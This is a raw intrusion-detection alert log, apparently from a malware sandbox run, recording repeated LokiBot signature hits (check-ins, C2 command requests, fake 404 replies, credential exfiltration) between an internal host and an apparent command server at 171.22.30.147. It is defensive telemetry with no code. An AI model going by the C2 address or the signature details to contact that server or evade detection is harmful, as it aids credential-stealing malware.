192.168.2.3171.22.30.14750034802024313 01/05/23-08:53:50.478539	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50034	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749970802024318 01/05/23-08:53:32.043326	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49970	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750020802025381 01/05/23-08:53:45.631791	TCP	2025381	ET TROJAN LokiBot Checkin	50020	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749771802021641 01/05/23-08:52:31.374001	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49771	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749706802024313 01/05/23-08:52:09.771973	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49706	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749804802024313 01/05/23-08:52:42.167879	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49804	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749873802825766 01/05/23-08:53:02.352866	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49873	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499122025483 01/05/23-08:53:14.416891	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49912	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749914802024313 01/05/23-08:53:14.852027	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49914	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749970802024313 01/05/23-08:53:32.043326	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49970	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750012802025381 01/05/23-08:53:43.190304	TCP	2025381	ET TROJAN LokiBot Checkin	50012	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749938802025381 01/05/23-08:53:21.374225	TCP	2025381	ET TROJAN LokiBot Checkin	49938	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749914802024318 01/05/23-08:53:14.852027	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49914	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749961802025381 01/05/23-08:53:29.597138	TCP	2025381	ET TROJAN LokiBot Checkin	49961	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749706802024318 01/05/23-08:52:09.771973	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49706	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749739802024313 01/05/23-08:52:22.339123	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49739	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750034802024318 01/05/23-08:53:50.478539	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50034	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749846802021641 01/05/23-08:52:55.097334	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49846	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749896802025381 01/05/23-08:53:08.759564	TCP	2025381	ET TROJAN LokiBot Checkin	49896	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749983802024318 01/05/23-08:53:35.478290	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49983	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749988802024313 01/05/23-08:53:36.817903	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49988	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749725802025381 01/05/23-08:52:18.390674	TCP	2025381	ET TROJAN LokiBot Checkin	49725	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749983802024313 01/05/23-08:53:35.478290	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49983	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749965802021641 01/05/23-08:53:30.671447	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49965	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750039802024318 01/05/23-08:53:51.865723	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50039	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750025802025381 01/05/23-08:53:48.086655	TCP	2025381	ET TROJAN LokiBot Checkin	50025	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499642025483 01/05/23-08:53:30.482276	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49964	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750033802024318 01/05/23-08:53:50.199257	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50033	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750039802024313 01/05/23-08:53:51.865723	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50039	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749936802825766 01/05/23-08:53:20.832811	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49936	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749738802024313 01/05/23-08:52:22.066688	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49738	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749841802825766 01/05/23-08:52:53.743125	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49841	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749932802021641 01/05/23-08:53:19.762349	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49932	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750016802025381 01/05/23-08:53:44.267939	TCP	2025381	ET TROJAN LokiBot Checkin	50016	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750070802024318 01/05/23-08:54:00.166694	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50070	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749739802024318 01/05/23-08:52:22.339123	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49739	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749837802024318 01/05/23-08:52:51.988001	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49837	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749930802825766 01/05/23-08:53:19.220224	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49930	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750070802024313 01/05/23-08:54:00.166694	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50070	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749981802025381 01/05/23-08:53:34.961120	TCP	2025381	ET TROJAN LokiBot Checkin	49981	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499202025483 01/05/23-08:53:16.592848	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49920	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499232025483 01/05/23-08:53:17.413136	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49923	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750014802024313 01/05/23-08:53:43.719267	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50014	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497702025483 01/05/23-08:52:31.194343	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49770	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749992802825766 01/05/23-08:53:37.885447	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49992	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750014802024318 01/05/23-08:53:43.719267	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50014	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749837802024313 01/05/23-08:52:51.988001	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49837	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749738802024318 01/05/23-08:52:22.066688	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49738	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500752025483 01/05/23-08:54:01.598104	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50075	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497812025483 01/05/23-08:52:35.903217	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49781	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749719802024318 01/05/23-08:52:15.841614	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49719	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497022025483 01/05/23-08:52:08.238277	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49702	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749719802024313 01/05/23-08:52:15.841614	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49719	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749992802021641 01/05/23-08:53:37.885447	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49992	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749840802825766 01/05/23-08:52:53.465268	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49840	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749936802021641 01/05/23-08:53:20.832811	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49936	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499752025483 01/05/23-08:53:33.447961	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49975	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749751802825766 01/05/23-08:52:25.762510	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49751	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749795802024318 01/05/23-08:52:39.717554	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49795	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749847802021641 01/05/23-08:52:55.372015	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49847	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749893802024318 01/05/23-08:53:07.754435	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49893	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749945802021641 01/05/23-08:53:23.275014	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49945	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500342025483 01/05/23-08:53:50.559615	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50034	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749795802024313 01/05/23-08:52:39.717554	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749876802025381 01/05/23-08:53:03.175112	TCP	2025381	ET TROJAN LokiBot Checkin	49876	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749893802024313 01/05/23-08:53:07.754435	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49893	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499532025483 01/05/23-08:53:25.551278	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49953	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749968802825766 01/05/23-08:53:31.490288	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49968	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749879802825766 01/05/23-08:53:03.965987	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49879	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749884802024313 01/05/23-08:53:05.293982	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49884	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749866802021641 01/05/23-08:53:00.520534	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49866	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749884802024318 01/05/23-08:53:05.293982	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49884	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749839802025381 01/05/23-08:52:53.202583	TCP	2025381	ET TROJAN LokiBot Checkin	49839	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499312025483 01/05/23-08:53:19.563898	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49931	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749923802021641 01/05/23-08:53:17.329996	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49923	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749895802025381 01/05/23-08:53:08.372653	TCP	2025381	ET TROJAN LokiBot Checkin	49895	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750075802021641 01/05/23-08:54:01.517358	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50075	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750075802825766 01/05/23-08:54:01.517358	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50075	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500782025483 01/05/23-08:54:02.394122	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50078	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749700802024317 01/05/23-08:52:07.351938	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49700	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500562025483 01/05/23-08:53:56.550069	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50056	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749700802024312 01/05/23-08:52:07.351938	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49700	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750056802021641 01/05/23-08:53:56.463023	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50056	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500672025483 01/05/23-08:53:59.459785	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50067	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749949802825766 01/05/23-08:53:24.361661	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49949	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749824802024318 01/05/23-08:52:47.639113	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49824	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500452025483 01/05/23-08:53:53.560541	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50045	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749913802024318 01/05/23-08:53:14.593137	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49913	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750033802024313 01/05/23-08:53:50.199257	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50033	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749742802825766 01/05/23-08:52:23.189713	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49742	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749955802825766 01/05/23-08:53:25.989714	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49955	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749962802025381 01/05/23-08:53:29.855666	TCP	2025381	ET TROJAN LokiBot Checkin	49962	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749859802025381 01/05/23-08:52:58.622571	TCP	2025381	ET TROJAN LokiBot Checkin	49859	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749861802024318 01/05/23-08:52:59.149010	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49861	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749728802825766 01/05/23-08:52:19.268418	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49728	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749956802024318 01/05/23-08:53:26.250117	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49956	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750039802021641 01/05/23-08:53:51.865723	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50039	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750056802825766 01/05/23-08:53:56.463023	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50056	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749913802024313 01/05/23-08:53:14.593137	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49913	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497992025483 01/05/23-08:52:40.916842	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49799	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749942802025381 01/05/23-08:53:22.441601	TCP	2025381	ET TROJAN LokiBot Checkin	49942	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499452025483 01/05/23-08:53:23.362979	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49945	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749827802021641 01/05/23-08:52:48.461129	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49827	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749861802024313 01/05/23-08:52:59.149010	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49861	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749764802025381 01/05/23-08:52:29.472789	TCP	2025381	ET TROJAN LokiBot Checkin	49764	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750013802825766 01/05/23-08:53:43.455950	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50013	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498962025483 01/05/23-08:53:08.839540	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49896	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749923802024318 01/05/23-08:53:17.329996	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49923	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749946802024313 01/05/23-08:53:23.547730	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49946	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749721802025381 01/05/23-08:52:17.231128	TCP	2025381	ET TROJAN LokiBot Checkin	49721	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749738802825766 01/05/23-08:52:22.066688	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49738	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750029802021641 01/05/23-08:53:49.112211	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50029	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749946802024318 01/05/23-08:53:23.547730	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49946	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749851802024313 01/05/23-08:52:56.435777	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49851	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749837802021641 01/05/23-08:52:51.988001	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49837	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498592025483 01/05/23-08:52:58.704392	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49859	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750003802025381 01/05/23-08:53:40.763519	TCP	2025381	ET TROJAN LokiBot Checkin	50003	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750006802021641 01/05/23-08:53:41.552586	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50006	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497222025483 01/05/23-08:52:17.587572	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49722	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749851802024318 01/05/23-08:52:56.435777	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49851	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749916802825766 01/05/23-08:53:15.372296	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49916	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749732802021641 01/05/23-08:52:20.401546	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49732	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749979802024313 01/05/23-08:53:34.430839	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49979	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497112025483 01/05/23-08:52:12.140154	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49711	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498482025483 01/05/23-08:52:55.724943	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49848	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749992802024313 01/05/23-08:53:37.885447	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49992	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500642025483 01/05/23-08:53:58.673182	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50064	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500532025483 01/05/23-08:53:55.718019	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50053	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749956802024313 01/05/23-08:53:26.250117	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49956	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749850802021641 01/05/23-08:52:56.172529	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49850	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749797802825766 01/05/23-08:52:40.255110	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49797	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749774802825766 01/05/23-08:52:32.369884	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49774	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749992802024318 01/05/23-08:53:37.885447	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49992	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749936802024313 01/05/23-08:53:20.832811	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49936	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750019802021641 01/05/23-08:53:45.311637	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50019	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749933802024318 01/05/23-08:53:20.043516	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49933	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749758802024313 01/05/23-08:52:27.765970	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49758	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750003802825766 01/05/23-08:53:40.763519	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50003	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750053802024318 01/05/23-08:53:55.636070	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50053	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749893802021641 01/05/23-08:53:07.754435	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49893	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499562025483 01/05/23-08:53:26.337856	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49956	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749979802024318 01/05/23-08:53:34.430839	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49979	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750053802024313 01/05/23-08:53:55.636070	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50053	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499342025483 01/05/23-08:53:20.381423	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49934	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749966802024313 01/05/23-08:53:30.946864	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49966	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749969802024313 01/05/23-08:53:31.782144	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49969	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750043802024313 01/05/23-08:53:52.949985	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50043	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750072802025381 01/05/23-08:54:00.683642	TCP	2025381	ET TROJAN LokiBot Checkin	50072	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749784802825766 01/05/23-08:52:36.673037	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49784	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749744802025381 01/05/23-08:52:23.736699	TCP	2025381	ET TROJAN LokiBot Checkin	49744	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749821802825766 01/05/23-08:52:46.829983	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49821	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749952802025381 01/05/23-08:53:25.200806	TCP	2025381	ET TROJAN LokiBot Checkin	49952	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750033802825766 01/05/23-08:53:50.199257	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50033	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749978802021641 01/05/23-08:53:34.155329	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49978	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749705802825766 01/05/23-08:52:09.363911	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49705	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749777802025381 01/05/23-08:52:34.550245	TCP	2025381	ET TROJAN LokiBot Checkin	49777	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749923802024313 01/05/23-08:53:17.329996	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49923	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749860802021641 01/05/23-08:52:58.886735	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49860	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749966802024318 01/05/23-08:53:30.946864	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49966	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749708802025381 01/05/23-08:52:10.789251	TCP	2025381	ET TROJAN LokiBot Checkin	49708	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750058802025381 01/05/23-08:53:57.002594	TCP	2025381	ET TROJAN LokiBot Checkin	50058	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749758802024318 01/05/23-08:52:27.765970	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49758	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749926802825766 01/05/23-08:53:18.143087	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49926	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749731802025381 01/05/23-08:52:20.113614	TCP	2025381	ET TROJAN LokiBot Checkin	49731	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750000802825766 01/05/23-08:53:39.996140	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50000	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749860802825766 01/05/23-08:52:58.886735	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49860	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749718802825766 01/05/23-08:52:15.464089	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49718	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750046802825766 01/05/23-08:53:53.748051	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50046	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749849802025381 01/05/23-08:52:55.895226	TCP	2025381	ET TROJAN LokiBot Checkin	49849	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749889802825766 01/05/23-08:53:06.674333	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49889	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749936802024318 01/05/23-08:53:20.832811	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49936	80	192.168.2.3	171.22.30.147
